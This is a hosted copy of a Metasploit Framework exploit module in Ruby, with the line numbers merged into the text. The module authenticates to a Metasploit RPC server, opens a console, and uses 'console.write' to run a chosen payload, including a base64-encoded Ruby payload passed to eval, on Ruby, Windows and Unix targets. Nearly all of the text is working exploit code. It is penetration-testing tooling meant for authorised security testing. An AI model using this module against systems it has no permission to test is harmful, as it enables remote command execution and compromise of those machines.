Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/msf_rpc_console.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(update_info(info,13'Name' => 'Metasploit RPC Console Command Execution',14'Description' => %q{15This module connects to a specified Metasploit RPC server and16uses the 'console.write' procedure to execute operating17system commands. Valid credentials are required to access the18RPC interface.1920This module has been tested successfully on Metasploit 4.1521on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit224.14 on Windows 7 SP1.23},24'License' => MSF_LICENSE,25'Author' => 'bcoles',26'References' =>27[28[ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ],29[ 'URL', 'https://community.rapid7.com/docs/DOC-1516' ]30],31'Platform' => %w{ ruby unix win },32'Targets' => [33[ 'Ruby', { 'Arch' => ARCH_RUBY,34'Platform' => 'ruby',35'Payload' => { 'BadChars' => "\x00" } } ],36[ 'Windows CMD', { 'Arch' => ARCH_CMD,37'Platform' => 'win',38'Payload' => { 'BadChars' => "\x00\x0A\x0D" } } ],39[ 'Unix CMD', { 'Arch' => ARCH_CMD,40'Platform' => 'unix',41'Payload' => { 'BadChars' => "\x00\x0A\x0D" } } ]42],43'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 15 },44'Privileged' => false,45'DisclosureDate' => '2011-05-22',46'DefaultTarget' => 0))47register_options [ Opt::RPORT(55552),48OptString.new('USERNAME', [true, 'Username for Metasploit RPC', 'msf']),49OptString.new('PASSWORD', [true, 'Password for the specified username', '']),50OptBool.new('SSL', [ true, 'Use SSL', true]) ]51end5253def execute_command(cmd, opts = {})54res = @rpc.call 'console.write', @console_id, "\r\n#{cmd}\r\n"5556if res.nil?57fail_with Failure::Unknown, 'Connection failed'58end5960unless res['wrote'].to_s =~ /\A\d+\z/61print_error "Could not write to console #{@console_id}:"62print_line res.to_s63return64end6566vprint_good "Wrote #{res['wrote']} bytes to console"67end6869def exploit70begin71@rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl72rescue Rex::ConnectionRefused => e73fail_with Failure::Unreachable, 'Connection refused'74rescue => e75fail_with Failure::Unknown, "Connection failed: #{e}"76end7778res = @rpc.login datastore['USERNAME'], datastore['PASSWORD']7980if @rpc.token.nil?81fail_with Failure::NoAccess, 'Authentication failed'82end8384print_good 'Authenticated successfully'85vprint_status "Received temporary token: #{@rpc.token}"8687version = @rpc.call 'core.version'8889if res.nil?90fail_with Failure::Unknown, 'Connection failed'91end9293print_status "Metasploit #{version['version']}"94print_status "Ruby #{version['ruby']}"95print_status "API version #{version['api']}"9697vprint_status 'Creating new console...'98res = @rpc.call 'console.create'99100if res.nil?101fail_with Failure::Unknown, 'Connection failed'102end103104unless res['id'].to_s =~ /\A\d+\z/105print_error 'Could not create console:'106print_line res.to_s107return108end109110@console_id = res['id']111print_good "Created console ##{@console_id}"112113print_status 'Sending payload...'114115case target['Platform']116when 'ruby'117cmd = "ruby -e 'eval(%[#{Rex::Text.encode_base64(payload.encoded)}].unpack(%[m0]).first)'"118when 'win'119cmd = payload.encoded120when 'unix'121cmd = payload.encoded122else123fail_with Failure::NoTarget, 'Invalid target'124end125126execute_command cmd127end128129def cleanup130return if @console_id.nil?131132vprint_status 'Removing console...'133res = @rpc.call 'console.destroy', @console_id134135if res.nil?136print_error 'Connection failed'137return138end139140unless res['result'].eql? 'success'141print_warning "Could not destroy console ##{@console_id}:"142print_line res.to_s143return144end145146vprint_good "Destroyed console ##{@console_id}"147ensure148@rpc.close149end150end151152153